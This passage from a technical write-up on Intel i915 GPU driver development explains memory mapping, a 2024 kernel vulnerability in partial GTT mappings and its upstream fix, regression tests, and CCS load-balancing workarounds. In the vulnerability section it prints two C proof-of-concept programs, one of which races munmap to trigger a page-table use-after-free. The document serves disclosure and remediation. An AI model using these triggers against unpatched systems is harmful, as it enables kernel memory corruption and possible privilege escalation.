mmap() with offset

i915 gem mmap()

vma offset lookup()

pin pages()

remap pfn range()

vm area struct updated

GPU access to mapped memory

Figure 3.5: End-to-end memory mapping flow in i915.

Additionally, the driver supports userptr mappings, where userspace provides its own
memory (typically with mlock()) and registers it with the driver using DRM IOCTL I915 GEM USERPTR.
This memory can then be used as a GPU buffer. The driver tracks page lifetimes and
prevents swap-out while the buffer is active.

1 struct drm_i915_gem_userptr args = {

2 .user_ptr = (uintptr_t)ptr ,

3 .user_size = size ,

4 .flags = 0,

5 };

6 drmIoctl(fd, DRM_IOCTL_I915_GEM_USERPTR , &args);

Listing 3.12: Userptr registration

Some memory mappings require fences to guarantee ordering and correct swizzling
of tiled memory. On pre-Gen11 platforms, tiling implies address remapping that must
be resolved with the aid of hardware fence registers. These are managed by the fence
allocator in i915 gem fence.c. Mapping such memory to userspace without fence setup
can result in corrupted rendering or misaligned accesses.

More modern GPUs relax the need for explicit fences via flat memory architectures,
but page attribute selection and memory object control state (MOCS) consistency are
still required. The cache policy set in pgprot writecombine() must correspond to the
GPU-side MOCS index programmed in the batchbuffer.

VMAs are also shrinkable resources. Under memory pressure, objects with active
mappings may be evicted, and their physical pages released. The mapping persists, but
a fault or re-access will trigger re-binding via i915 vma bind() and domain transition.
This ensures minimal impact on applications while allowing flexible reuse of GPU-visible
memory.
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Throughout the process, the driver enforces page-aligned mapping sizes and off-
sets. Some engine classes have stricter constraints on alignment, which are validated
in i915 vma insert() and respected during drm mm address space allocation.

In summary, memory mapping in i915 ties together Linux virtual memory abstrac-
tions, DRM offset infrastructure, cache coherency mechanisms, and GPU execution con-
straints into a unified mechanism that allows safe, efficient, and high-performance access
to GPU buffers from userspace.
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Chapter 4

Case Studies in i915 Development

This chapter presents two case studies based on real-world contributions to the i915

driver, providing insight into the practical aspects of upstream kernel development. Each
example addresses a distinct class of problem: one related to memory mapping correctness
and security, the other concerning engine load balancing on multi-CCS hardware.

Both efforts resulted in patch series submitted to the DRM subsystem, highlighting
the challenges of debugging complex subsystems and navigating the upstream devel-
opment process. While the first fix was merged due to its security implications, the
second—though technically sound—remained unmerged, as maintainers chose to limit
further investment in i915 in favour of the newer xe driver. This policy decision and its
implications will be discussed later in the chapter.

4.1 Partial Memory Mapping

4.1.1 Overview of Partial Memory Mapping

Partial memory mapping refers to the technique where only a portion of a memory
object—typically a buffer or file—is mapped into a process’s virtual address space. This
contrasts with full mapping, where the entire object is mapped at once. In the context
of the i915 driver, partial mapping is commonly used to access only selected regions of
a GPU buffer, optimising memory usage and allowing fine-grained access control.

In Linux, partial mappings are achieved using the mmap() system call in conjunc-
tion with an offset and length. These parameters define the virtual memory range to be
mapped, and the kernel resolves them against a backing physical object. For device mem-
ory, this object is often a buffer represented internally by a struct drm i915 gem object.

1 struct drm_i915_gem_mmap_offset mmap_arg = {

2 .handle = gem_handle ,

3 .flags = I915_MMAP_OFFSET_WC

4 };

5 drmIoctl(fd, DRM_IOCTL_I915_GEM_MMAP_OFFSET , &mmap_arg);

6

7 /* Map only 1 KB of a larger 4 KB object */

8 void *ptr = mmap(NULL , 1024, PROT_READ | PROT_WRITE ,

9 MAP_SHARED , fd, mmap_arg.offset + 2048);

Listing 4.1: Example of partial mapping in userspace

In this example, the user maps the last 1 KB of a 4 KB buffer. From the userspace
point of view, this is a trivial virtual memory operation. However, the driver must validate
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that the requested offset and size lie within the bounds of the actual GEM object. Any
failure to enforce this can result in out-of-bounds access or even information leaks.

When the kernel receives such a request, it first performs a lookup in the drm vma offset manager

tree to match the offset to the corresponding GEM object. It then verifies the access range
against the object’s size. Once validated, it creates a vm area struct describing the map-
ping and pins the relevant pages of the object to prevent eviction. Finally, it installs the
mapping via remap pfn range().

In i915, additional care must be taken because the underlying memory may be in
system RAM, in device-local LMEM, or visible through the GGTT aperture. Each region
may have different mapping constraints, page alignment requirements, or caching policies.
For instance, partial GTT mappings must not cross fence register boundaries on older
hardware.

Partial mappings are especially common in graphics and compute workloads, where
a large buffer may be allocated to represent a shared dataset, but individual compute
kernels or shaders only need access to a specific subset. Mapping only the required region
improves memory footprint, reduces TLB pressure, and limits cache pollution.

On the security side, partial mappings demand strict bounds checking. An invalid
offset may result in the exposure of uninitialised memory or access to adjacent objects.
The kernel must enforce that any offset + size range lies entirely within the object’s
valid size, and reject attempts that do not conform.

As will be shown in the following sections, a bug in this enforcement path once led
to such a condition, and required a security-sensitive patch to address the issue. Under-
standing partial mappings is therefore essential to comprehending both the design and
the pitfalls of GPU memory exposure in i915.

4.1.2 A Bug in Partial Memory Mapping

In July 2024, a critical bug in the i915 driver was reported to the Linux kernel security, a
restricted mailing list, by Jann Horn, a security expert at Google. The issue was related
to incorrect bounds handling during partial memory mappings in the vm fault gtt()

function. Specifically, when userspace triggered a page fault on a GTT-mapped object,
the kernel invoked remap io mapping() with a size derived from the full VMA range,
rather than computing the correct length from the faulting address.

The email summary outlined the impact clearly:

”I found a bug in the i915 code that allows a process with access to a render node
(/dev/dri/renderD128) to corrupt kernel memory.”

— Jann Horn

This was a serious violation of kernel memory safety, as it could allow arbitrary write
access to sensitive kernel structures or data outside the mapped region. The bug was
subject to a standard 90-day coordinated disclosure deadline and required a prompt fix.

The flaw was identified in the i915 driver’s page fault handling logic for GTT-based
mappings, specifically within the vm fault gtt() function (gem/i915 gem mman.c). The
vulnerability arises from an incorrect size calculation in a call to remap io mapping(),
which may allow the driver to write page table entries (PTEs) beyond the bounds of the
associated buffer object.

During a GTT fault, the driver attempts to pin the buffer object into the GGTT
(Global Graphics Translation Table) using:
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area->vm start area->vm end

+ partial offset

remap io mapping() size

start = vm start + offset end = start + (vm end - vm start)

Figure 4.1: Incorrect remap region due to offset mismatch. The size is based on the original
VMA, causing remapping beyond object boundaries.

1 vma = i915_gem_object_ggtt_pin_ww(obj , &ww , NULL , 0, 0,

2 PIN_MAPPABLE |

3 PIN_NONBLOCK /* NOWARN */ |

4 PIN_NOEVICT);

Listing 4.2: Initial GTT pinning attempt

If the object cannot be pinned entirely—e.g., due to aperture fragmentation or size
constraints—the driver falls back to mapping a partial view:

1 struct i915_gtt_view view =

2 compute_partial_view(obj , page_offset , MIN_CHUNK_PAGES);

3 vma = i915_gem_object_ggtt_pin_ww(obj , &ww , &view , 0, 0, flags);

Listing 4.3: Partial view fallback

Following a successful (possibly partial) pin, the memory is exposed to userspace using
remap io mapping(), which remaps the object pages into the faulting process’s address
space:

1 ret = remap_io_mapping(area ,

2 area ->vm_start + (vma ->gtt_view.partial.offset << PAGE_SHIFT),

3 (ggtt ->gmadr.start + i915_ggtt_offset(vma)) >> PAGE_SHIFT ,

4 min_t(u64 , vma ->size , area ->vm_end - area ->vm_start),

5 &ggtt ->iomap);

Listing 4.4: Incorrect call to remap io mapping

The issue lies in how the size parameter is computed. While the address passed
to remap io mapping() is offset by vma->gtt view.partial.offset, the length of the
mapping is not adjusted accordingly. It is calculated as area->vm end - area->vm start,
which is correct only when the offset is zero. If the mapping begins at a non-zero offset,
this causes the effective remapped range to extend beyond the bounds of the GEM object.

This condition can be visualised as follows: the start address is increased by the
partial view offset, but the end address remains fixed, resulting in a total range of:

[vm start + offset, vm start + offset + (vm end - vm start)]

—which exceeds the original VMA range by offset << PAGE SHIFT bytes.
In the case where the VMA covers the entire object, the min t() guard limits the size

appropriately. However, when the VMA is smaller than the object (e.g., only a subregion
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is mapped), the computed size may overrun the object boundary, causing page table
entries to be written out of bounds.

This bug can be triggered using the following userspace test case. On affected systems,
it causes kernel warnings such as “BUG: Bad page map” and “Bad rss-counter” during
process exit:

1

2 void poke(volatile char *p)

3 {

4 *p = 1;

5 }

6

7 int main(void)

8 {

9 int fd = open("/dev/dri/renderD128", O_RDWR);

10

11 struct drm_i915_gem_create gem_create = {

12 .size = 257 MiB /* a bit over half the GGTT aperture size on my

machine */

13 };

14 ioctl(fd , DRM_IOCTL_I915_GEM_CREATE , &gem_create);

15

16 struct drm_i915_gem_mmap_offset mmap_offset_arg = {

17 .handle = gem_create.handle ,

18 .flags = I915_MMAP_OFFSET_GTT

19 };

20 ioctl(fd , DRM_IOCTL_I915_GEM_MMAP_OFFSET , &mmap_offset_arg);

21

22 #define MAP_SIZE (128 MiB - 0x80000)

23

24 volatile char *map;

25 map = (volatile char *)mmap(NULL , MAP_SIZE ,

26 PROT_READ|PROT_WRITE , MAP_SHARED , fd, mmap_offset_arg.offset);

27

28 poke(map + MAP_SIZE - 0x1000);

29 poke(map);

30 }

The buggy behaviour in the current implementation originates from commit c58305af1835
(drm/i915: Use remap io mapping() to prefault all PTE in a single pass), which was
merged in Linux kernel version 4.9. However, at the time, the affected code path was
effectively unreachable. This is because the logic responsible for computing partial views
included a safeguard that clipped the view’s size to remain within the bounds of the
VMA. The relevant code was:

1 view.params.partial.size = min_t(unsigned int , chunk_size , (area ->

vm_end - area ->vm_start) / PAGE_SIZE - view.params.partial.offset);

This protective check was later removed in commit 8201c1fad4f4 (drm/i915: Clip
the partial view against the object not vma), introduced in kernel version 4.11. It is
likely that the bug became exploitable starting from this revision, as the driver no longer
constrained the partial view to remain within the VMA boundaries.

Unlike most components in the kernel that create PFN-mapped page table entries
using helpers such as remap pfn range(), which validate that the remapped region stays
within the designated VMA, the i915 driver bypasses these helpers. The reason is that
remap pfn range() treats overwriting existing PTEs as an error, whereas i915 may
deliberately overwrite existing entries during fault handling.
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This approach is a result of a design choice reaffirmed in commit 0e4fe0c9f2f9 (Re-
vert ”i915: use io mapping map user”), where the previous attempt to rely on standard
remapping helpers was reverted. Instead, i915 uses a custom utility, remap io mapping(),
which directly writes PTEs into the user process’s virtual address space, without perform-
ing bounds checks or respecting existing mappings.

One of the key consequences of the bug described in this section is that it allows PFN-
mapped page table entries (PTEs) to be installed outside the region explicitly covered by
the associated virtual memory area (VMA). This violates the expectations of the Linux
memory management (MM) subsystem, which relies on accurate VMA bounds to track
and revoke memory mappings.

In standard usage, PFNMAP PTEs are inserted through helpers such as remap pfn range(),
which enforce that the remapped range lies strictly within the VMA boundaries. In the
i915 driver, however, this mechanism is bypassed in favour of remap io mapping(), a
lower-level function that writes PTEs directly into the user process’s page tables. This
design choice was motivated by the driver’s need to overwrite existing mappings without
raising an error—behaviour which standard helpers treat as invalid.

As a result, when the driver installs PTEs beyond the intended mapping range, those
PTEs are no longer visible to the MM subsystem. If the driver subsequently attempts
to revoke access to a region—such as by unmapping or reclaiming the buffer—the MM
subsystem is unaware of the rogue PTEs, and cannot invalidate them properly. This
could, in theory, allow userspace access to memory that is later mapped into the GGTT
or reused for unrelated purposes. It is unclear whether this leads to shader-level visibility
or constitutes a practical attack vector in itself, though it certainly violates memory
isolation guarantees.

A more reliably exploitable consequence arises when the bug is used to induce a use-
after-free (UAF) in the kernel’s page table structures. Specifically, if a GTT-backed VMA
is placed adjacent to another VMA, and a fault is triggered in the first VMA while the
second is being unmapped, the resulting out-of-bounds access may cause the kernel to
walk page tables that are concurrently being freed.

This behaviour can be demonstrated when only the mmap lock is held in read mode—as
is common during fault handling—page tables backing VMAs may be freed by another
thread executing a munmap(). This creates a classic race condition exploitable for memory
corruption.

The following test program demonstrates the exploit. It uses a primary mapping that
touches memory at the edge of a page table directory (PGD) boundary, while a secondary
thread repeatedly allocates and unmaps mappings at that same boundary. The goal is
to trigger remapping via the buggy path just as the adjacent mapping’s page tables are
being deallocated.

1

2 // virtual address at the boundary between PGD entries

3 #define PGD_BOUNDARY_ADDR 0x8000000000

4

5 #define MAP_SIZE (128 MiB - 0x80000)

6 #define LEFT_MAPPING_ADDR (PGD_BOUNDARY_ADDR - MAP_SIZE)

7

8 #define FLIPPER_MAP_SIZE 0x200000

9

10 static void *flipper_thread_fn(void *dummy)

11 {

12 int fd = open("/dev/dri/renderD128", O_RDWR);
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13

14 struct drm_i915_gem_create gem_create = {

15 .size = FLIPPER_MAP_SIZE

16 };

17 ioctl(fd , DRM_IOCTL_I915_GEM_CREATE , &gem_create);

18

19 struct drm_i915_gem_mmap_offset mmap_offset_arg = {

20 .handle = gem_create.handle ,

21 .flags = I915_MMAP_OFFSET_GTT

22 };

23 ioctl(fd , DRM_IOCTL_I915_GEM_MMAP_OFFSET , &mmap_offset_arg);

24

25 while (1) {

26 mmap((void*) PGD_BOUNDARY_ADDR , FLIPPER_MAP_SIZE ,

27 PROT_READ|PROT_WRITE , MAP_SHARED|MAP_FIXED_NOREPLACE , fd,

28 mmap_offset_arg.offset);

29

30 munmap ((void*) PGD_BOUNDARY_ADDR , FLIPPER_MAP_SIZE);

31 }

32 return NULL;

33 }

34

35 int main(void) {

36 pthread_t flipper_thread;

37 if (pthread_create (& flipper_thread , NULL , flipper_thread_fn , NULL))

38 errx(1, "pthread_create");

39

40 int fd = SYSCHK(open("/dev/dri/renderD128", O_RDWR));

41

42 struct drm_i915_gem_create gem_create = {

43 .size = 257 MiB /* a bit over half the GGTT aperture size on my

machine */

44 };

45 SYSCHK(ioctl(fd, DRM_IOCTL_I915_GEM_CREATE , &gem_create));

46 printf("created GEM 0x%x\n", gem_create.handle);

47

48 struct drm_i915_gem_mmap_offset mmap_offset_arg = {

49 .handle = gem_create.handle ,

50 .flags = I915_MMAP_OFFSET_GTT

51 };

52 SYSCHK(ioctl(fd, DRM_IOCTL_I915_GEM_MMAP_OFFSET , &mmap_offset_arg));

53 printf("fake mmap offset: 0x%lx\n", (unsigned long)mmap_offset_arg.

offset);

54

55 while (1) {

56 SYSCHK(mmap((void*) LEFT_MAPPING_ADDR , MAP_SIZE ,

57 PROT_READ|PROT_WRITE , MAP_SHARED|MAP_FIXED_NOREPLACE , fd,

58 mmap_offset_arg.offset));

59 *( volatile char *)(PGD_BOUNDARY_ADDR - 0x1000);

60 SYSCHK(munmap ((void*) LEFT_MAPPING_ADDR , MAP_SIZE));

61 }

62 }

4.1.3 Development of a Security Fix

Following the bug report, a discussion unfolded on the kernel mailing list about potential
approaches to fix the vulnerability. Jann Horn suggested that the correct solution would
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be for the fault handlers to explicitly take area->vm pgoff into account. As an alterna-
tive, he proposed a more defensive workaround involving the use of a .may split handler
in the vm operations struct, returning an error to prevent VMA splits via unmapping
or overmapping.

Linus Torvalds responded to the thread, confirming that .may split() would be
the appropriate mechanism to prevent such VMA manipulation. He remarked that al-
though VM DONTEXPAND was originally introduced to prevent extending IO mappings via
mremap(), it does not restrict unmapping operations that may confuse drivers relying on
fixed VMA offsets:

”Yeah. Sadly, while we have VM DONTEXPAND, it probably should always have been
VM FIXEDSIZE. It’s not. [...] Fooling drivers by unmapping (or overmapping) the
beginning and having pgoff change clearly can also confuse a poor driver that isn’t
expecting it. And yes, .may split() is indeed the way to effectively emulate it.”

— Linus Torvalds

In the Linux kernel, .may split is a boolean callback that can be set in a vm operations struct

associated with a driver’s memory region. When implemented, it determines whether the
kernel is allowed to split a VMA during operations such as mremap(), munmap(), or
overmapping. Torvalds suggested that the i915 driver could simply define this callback
to always return false, effectively forbidding any user-driven splitting of the VMA. This
would have guaranteed that userspace cannot isolate a subregion of the mapping without
unmapping the entire buffer — thus eliminating offset mismatches and protecting against
remapping bugs.

Despite this suggestion, the final approach taken was to leave the memory model
flexible and instead enforce strict remapping bounds within the i915 driver’s fault path.
Rather than forbidding VMA splitting or unmapping, the logic for calculating virtual
address ranges and page frame numbers was rewritten to properly account for object and
view offsets, thus closing the bug while preserving full compatibility with Linux’s memory
subsystem behaviour.

The following patch was sent:

drm/i915/gem: Fix Virtual Memory mapping boundaries calculation

Calculating the size of the mapped area as the lesser value

between the requested size and the actual size does not consider

the partial mapping offset. This can cause page fault access.

Fix the calculation of the starting and ending addresses, the

total size is now deduced from the difference between the end and

start addresses.

Additionally, the calculations have been rewritten in a clearer

and more understandable form.

Fixes: c58305af1835 ("drm/i915: Use remap io mapping() to ...

Reported-by: Jann Horn <jannh@google.com>
Co-developed-by: Chris Wilson <chris.p.wilson@linux.intel.com>
Signed-off-by: Chris Wilson <chris.p.wilson@linux.intel.com>
Signed-off-by: Andi Shyti <andi.shyti@linux.intel.com>
Cc: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
Cc: Matthew Auld <matthew.auld@intel.com>
Cc: Rodrigo Vivi <rodrigo.vivi@intel.com>
Cc: <stable@vger.kernel.org> v4.9+

Reviewed-by: Jann Horn <jannh@google.com>
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Reviewed-by: Jonathan Cavitt <jonathan.cavitt@intel.com>

The patch correcting this vulnerability introduces a number of changes to the GTT
page fault handling path in vm fault gtt(), with the goal of making the virtual memory
mapping boundaries both mathematically correct and human-readable.

At the core of the issue was the fact that the address passed to remap io mapping()

was already offset by the partial view (vma->gtt view.partial.offset), while the size
was not adjusted to compensate for this. This led to mappings that could span beyond
the buffer bounds, violating the memory safety model.

area->vm start area->vm end

+ partial offset

start = vm start + offset end = min(vm end, obj end)

remap io mapping() size

Figure 4.2: Corrected remapping after fix: boundaries clipped to avoid overflow.

The fix introduces a dedicated helper, set address limits(), which encapsulates the
remapping logic in a single, centralised function. The implementation enforces correctness
via a clear three-stage process:

1. All calculations are performed in page units rather than bytes, to eliminate the risk
of bit truncation or misalignment due to arithmetic operations on addresses.

2. The starting address of the mapping is determined by shifting the user virtual start,
removing the object offset, and applying the partial view’s offset. This precisely
aligns the mapping window with the physical memory backing the object.

3. The end of the mapping is calculated as the minimum between the VMA endpoint
and the end of the valid region inside the object. This ensures that neither userspace
nor the driver can access or remap memory outside the legal bounds of the GEM
buffer.

Once the start and end of the mapping are determined, the helper function shifts
them back to byte granularity and computes the Page Frame Number (PFN) to pass
to remap io mapping(). This is done by adjusting the GGTT base PFN to match the
virtual address space offset and the internal object offset.

1 unsigned long obj_offset = area ->vm_pgoff - drm_vma_node_start (&mmo ->

vma_node);

2 unsigned long page_offset = (vmf ->address - area ->vm_start) >>

PAGE_SHIFT;

3 page_offset += obj_offset;
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4

5 set_address_limits(area , vma , obj_offset , ggtt ->gmadr.start ,

6 &start , &end , &pfn);

7

8 ret = remap_io_mapping(area , start , pfn , end - start , &ggtt ->iomap);

Listing 4.5: Rewritten remap logic using set address limits()

By formalising the arithmetic and separating responsibilities, the new logic ensures
that only the intended pages are mapped, and that no accidental overlap into adjacent
or unallocated memory can occur. The use of typed clamping functions like min t()

and max t() also prevents edge cases where unsigned underflow or overflow could silently
break correctness.

To encapsulate this logic, the patch introduces a new helper function named set address limits().
This function computes three critical parameters required for safe remapping: the start-
ing virtual address, the ending virtual address, and the base page frame number (PFN).
All calculations are performed in page units, ensuring alignment and preventing rounding
errors during intermediate steps.

The function begins by translating the vm start and vm end fields of the virtual
memory area into page indices. It then adjusts for both the user-supplied offset (via
vm pgoff) and any internal partial view offset associated with the VMA. These offsets
are combined to yield a corrected virtual address window relative to the backing GEM
object.

The result is clipped to ensure the window does not exceed either the bounds of the
VMA or the size of the buffer object. Once the bounds are determined, the addresses
are shifted back into byte granularity, and the PFN is computed from the GGTT base,
incremented by the corrected object offset and the offset into the virtual range.

This function ensures that remap io mapping() receives parameters that are logically
and physically correct, enforcing a strict one-to-one mapping between virtual pages and
physical memory.

1 static void set_address_limits(struct vm_area_struct *area ,

2 struct i915_vma *vma ,

3 unsigned long obj_offset ,

4 resource_size_t gmadr_start ,

5 unsigned long *start_vaddr ,

6 unsigned long *end_vaddr ,

7 unsigned long *pfn)

8 {

9 unsigned long vm_start = area ->vm_start >> PAGE_SHIFT;

10 unsigned long vm_end = area ->vm_end >> PAGE_SHIFT;

11 unsigned long vma_size = vma ->size >> PAGE_SHIFT;

12

13 long start = vm_start - obj_offset + vma ->gtt_view.partial.offset;

14 long end = start + vma_size;

15

16 start = max_t(long , start , vm_start);

17 end = min_t(long , end , vm_end);

18

19 *start_vaddr = start << PAGE_SHIFT;

20 *end_vaddr = end << PAGE_SHIFT;

21

22 *pfn = (gmadr_start + i915_ggtt_offset(vma)) >> PAGE_SHIFT;

23 *pfn += (* start_vaddr - area ->vm_start) >> PAGE_SHIFT;

24 *pfn += obj_offset - vma ->gtt_view.partial.offset;

25 }

Listing 4.6: Helper to calculate corrected remap boundaries

The final result is not only a secure patch for the bug reported, but also a long-term
improvement to the readability and maintainability of one of the most sensitive parts of
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the i915 memory management subsystem.

4.1.4 Upstreaming of i915 Memory Mapping

The development of the security fix described in the previous section was initially con-
ducted through the restricted Linux kernel security mailing list. This is standard practice
in the kernel community when dealing with vulnerabilities that could be exploited in the
wild. By limiting early disclosure to a small group of trusted contributors, the project
mitigates the risk of attackers leveraging a known vulnerability before a fix becomes
widely available — a policy often referred to as ”security by obscurity” in its pragmatic
sense.

According to Linux security process guidelines, reported bugs may remain confidential
for up to 90 days, after which the disclosure can be made public. Within this window, the
fix for the i915 partial remapping vulnerability was developed, reviewed, and confirmed
by the reporter Jann Horn. Once consensus was reached, the patch was submitted to
the public Intel graphics mailing list in July and was promptly merged into the mainline
kernel.

To ensure broad coverage, the fix also needed to be backported to longterm stable
kernels starting from v4.19 onwards. Given the substantial evolution of the i915 driver
across kernel versions, this backporting process required manual resolution of various
rebase issues, particularly around memory management helpers, partial views, and MMIO
mapping logic.

In parallel, a suite of regression tests was developed using the IGT GPU tools frame-
work. IGT (Intel Graphics Tests) is a userspace testing library and test suite designed
to validate correctness and detect regressions in the DRM graphics drivers, particularly
for Intel hardware. It interfaces with the DRM subsystem via ioctls and simulates real-
world operations including buffer allocation, memory mapping, rendering, and teardown
sequences.

The goal of the IGT coverage for this patch was to simulate all the edge-cases that
could trigger the vulnerability. The test scenarios were designed and implemented in
collaboration with Krzysztof Niemiec and include four targeted cases:

• Partial Mapping: partial mmap() maps only a small subset of a large GEM
object, writes to the beginning, then remaps a separate trailing region and verifies
that no data is leaked across unmapped memory. This checks for residual overlap
from remapping errors.

• Partial Unmapping: partial unmap() maps the same object twice, unmaps
most of one mapping but retains the final 4KiB, writes to it, and verifies that
adjacent mappings do not get corrupted or influence each other. This simulates
VMA splits and remapping overlaps.

• Remapping Tail Pages: partial remap() unmaps all but the last 4KiB of a
2MiB mapping and then re-maps that portion using mremap(). This checks whether
the remapping window honours the correct page frame offset without writing outside
the intended region.

• Boundary Overflow: test mmap boundaries() maps almost the entire allowed
range (just under 128MiB), writes to the very end, and verifies correct data visibility.
This test aims to flush out any silent overrun caused by broken remap size logic.
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Each of these tests uses the for each mmap offset type() macro to iterate over all
supported mapping types, such as GTT, WC (write-combining), and UC (uncached). Tests
use helper routines such as gem create in memory region list(), make resident(),
and mmap offset ioctl() to abstract the low-level buffer creation and mapping proce-
dures.

The failure of any of these tests would manifest either through assertion failures,
memory corruption, or kernel warnings — in particular, KASAN (Kernel Address Sanitizer)
reports, which were the original indicators used to catch the vulnerability. These tests
have since been integrated into the IGT test suite as permanent regression checks for
i915.

4.2 CCS Load Balancing

4.2.1 What is CCS Load Balancing?

From the perspective of userspace applications, a compute workload typically consists
of a sequence of GPU instructions intended to perform general-purpose data-parallel
computations. These are often issued via APIs like OpenCL, Vulkan (through SPIR-V
compute shaders), or even DirectX Compute. In a Linux context, userspace drivers—such
as Mesa’s ANV for Vulkan—translate these high-level instructions into batch buffers and
submit them to the kernel using the Direct Rendering Manager (DRM) interface.

The interface between userspace and kernel space is mediated by a set of ioctl()

system calls, such as DRM IOCTL I915 GEM EXECBUFFER2, which encapsulate GPU com-
mands, execution contexts, and scheduling metadata. From userspace, the compute work-
load is treated as a self-contained program that is queued to the GPU for asynchronous
execution. The choice of which engine executes the workload is typically abstracted away,
although userspace drivers may request specific engines when needed.

These workloads are ultimately executed by the GPU’s Compute Command Streamer
(CCS) engines. A CCS engine is a specific type of command streamer designed for han-
dling compute-specific operations, decoupled from traditional 3D rendering or media
workloads. Architecturally, a command streamer (or ”engine” in i915 terminology) con-
sists of the frontend submission logic, state trackers, and pipeline configuration stages
necessary to dispatch work to the GPU’s Execution Units (EUs).

On Intel Gen12+ platforms, particularly on discrete GPUs such as DG2 (Intel Arc),
multiple CCS engines may be present—typically CCS0 through CCS3. These are nomi-
nally independent submission engines capable of receiving compute workloads. However,
it is critical to understand that the EUs behind these engines are not duplicated or shared
dynamically across all engines.

In i915, the term “engine” refers to the command streamer and its associated fron-
tend pipeline. This is distinct from the EUs, which are the actual compute resources.
A single engine—say, CCS0—may be configured to ”own” all available EUs. In such
cases, if a compute task is submitted to another engine (e.g., CCS1), the task may stall
or hang because that engine has no EUs assigned to it. Specifically, the execution of
walker instructions (used to dispatch thread groups in parallel) will block indefinitely if
no underlying compute units are available.

This architectural constraint undermines naive load balancing strategies. In other
subsystems, such as video decode, load balancing is achieved by submitting multiple
contexts to different engines (e.g., VCS0 and VCS1) in parallel, each with its own LRCA
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(Logical Ring Context Area). But in the case of CCS, such parallel submission does not
result in true resource sharing unless the hardware has been configured—typically via
firmware or microcode—to distribute EU ownership dynamically.

CCS Load Balancing, in theory, refers to distributing compute workloads across mul-
tiple CCS engines to achieve higher parallelism or better utilization. On paper, this could
allow userspace or the kernel to queue different compute contexts to CCS0, CCS1, CCS2,
etc., thereby spreading out scheduling latency or isolation concerns. However, in practice,
the hardware configuration must support this mode; otherwise, only the primary CCS
engine (usually CCS0) is capable of executing compute workloads effectively.

Therefore, while multi-CCS platforms like DG2 physically contain several CCS en-
gines, only a subset (often just CCS0) is usable for compute tasks unless the system has
been explicitly configured to rebalance EU ownership. Without such support, load bal-
ancing is not feasible and must be emulated via software workarounds or ignored entirely.

On platforms such as DG2 that support multiple CCS engines—typically CCS0 through
CCS3—the user is presented with four corresponding UABI engines. These are exposed
through the standard DRM interface and can be individually targeted by userspace.

The hardware itself provides a transparent mechanism to distribute compute loads
among available engines, depending on how many UABI engines are actively used. For
example:

• If a user submits a single compute workload to one UABI CCS engine (e.g., CCS0),
the hardware automatically balances that load across all four physical CCS engines
(CCS0–CCS3).

• If two workloads are submitted to two distinct UABI engines (e.g., CCS0 and
CCS1), then each workload is automatically assigned two physical CCS engines.

• If four workloads are submitted to all four UABI engines, each workload is executed
by a dedicated CCS engine.

This strategy enables optimal compute throughput without requiring userspace to
manually orchestrate engine selection or track hardware topology.

4.2.2 The Issue

On multi-CCS platforms such as Intel DG2, the hardware provides a mechanism to auto-
matically distribute compute workloads across multiple CCS engines. However, in prac-
tice, this hardware load balancing mechanism does not operate as expected. Despite the
architectural support, the actual workload distribution remains inconsistent, and com-
pute submissions targeting multiple CCS engines often result in undefined behaviour or
failure.

This limitation cannot be addressed by software alone, as the defective balancing
behaviour originates from internal hardware constraints. As such, the only viable fix
must be implemented in the software stack, by explicitly avoiding or working around the
broken functionality.

To this end, the i915 driver introduced a two-phase mitigation strategy:

1. Workaround by disabling load balancing: In the first phase, the automatic
hardware load balancing is completely disabled. The kernel exposes only one CCS
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CCS0 CCS1 CCS2 CCS3

Load A

1 Load → 4 CCS

Load A Load B

2 Loads → 2 CCS each

A B C D

4 Loads → 1 CCS each

Figure 4.3: Hardware-assisted CCS load balancing based on number of active compute
submissions.

engine (typically CCS0) to userspace. This ensures that all compute workloads
are routed through a single, known-good engine, thereby avoiding misbehaviour or
stalls on the other engines.

2. Manual configuration via sysfs: As a second step, a new sysfs interface is
introduced, allowing users to manually configure how many CCS engines should be
exposed. This mechanism gives control to developers or advanced users to re-enable
additional engines at runtime and experiment with alternative load distribution
strategies.

This approach provides a stable default behaviour while preserving flexibility for man-
ual control, tuning, or future experimentation with engine-level scheduling.

4.2.3 The Workaround

Given that the hardware-level CCS load balancing mechanism on platforms like DG2
does not behave as expected—and cannot be corrected through software or firmware
updates—a workaround was introduced to enforce predictable and stable execution of
compute workloads. This was achieved through a series of three kernel patches.

1. Disabling automatic load balancing: The first patch disables the hardware’s
automatic load balancing logic and enforces a fixed load balancing policy. This
avoids any attempt by the GPU to dynamically distribute compute workloads across
multiple CCS engines, which has been shown to lead to inconsistent or undefined
behaviour.
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2. Restricting CCS engine exposure: The second patch modifies the engine reg-
istration logic so that only a single CCS engine is created and exposed. No internal
structures are instantiated for additional CCS engines—neither kernel-visible rep-
resentations nor UABI interfaces. From the kernel’s perspective, only one CCS
engine exists and is usable.

3. Enabling fixed multi-CCS execution from a single stream: The third patch
configures the active CCS engine to internally distribute compute workloads across
the available physical CCS engines using a fixed, firmware-driven strategy. From
userspace, only a single engine is visible, but the hardware executes the workload
across all CCS units in a controlled and deterministic manner.

The first patch in the fix series addresses the problematic behaviour of the hard-
ware’s automatic CCS load balancing. Although CCS engines are expected to distribute
compute workloads across slices dynamically, the reality on affected platforms—such as
DG2—proved unreliable. To ensure consistent and safe compute execution, the patch
disables this automatic behaviour entirely.

This is achieved by applying a hardware workaround recommended by Intel’s own
workaround documentation: Wa 14019159160. The workaround enforces a fixed slice
mode by setting bit 1 (REG BIT(1)) of the GEN12 RCU MODE register. The logic is imple-
mented in the kernel through the new helper function ccs engine wa mode(), which is
called from within engine init workarounds() for compute engines.

The relevant register and workaround logic added by this patch are:

1 #define GEN12_RCU_MODE _MMIO (0 x14800)

2 #define XEHP_RCU_MODE_FIXED_SLICE_CCS_MODE REG_BIT (1)

3

4 static void ccs_engine_wa_mode(struct intel_engine_cs *engine ,

5 struct i915_wa_list *wal)

6 {

7 struct intel_gt *gt = engine ->gt;

8

9 if (! IS_DG2(gt ->i915))

10 return;

11

12 /* Wa_14019159160: Disable automatic CCS load balancing */

13 wa_masked_en(wal , GEN12_RCU_MODE , XEHP_RCU_MODE_FIXED_SLICE_CCS_MODE);

14 }

Listing 4.7: Disabling CCS load balancing by setting RCU mode

The workaround is only applied on DG2, as checked by the IS DG2()macro. It ensures
that even if the hardware advertises multiple CCS engines, the load balancing logic is
disabled internally and the engines operate in a fixed slice mode.

This change avoids undefined hardware scheduling behaviour, which previously could
lead to execution stalls or kernel faults. The patch was merged into the mainline kernel
and also backported to stable trees starting from v6.2.

The full commit message is shown below for reference:

commit bc9a1ec01289e6e7259dc5030b413a9c6654a99a

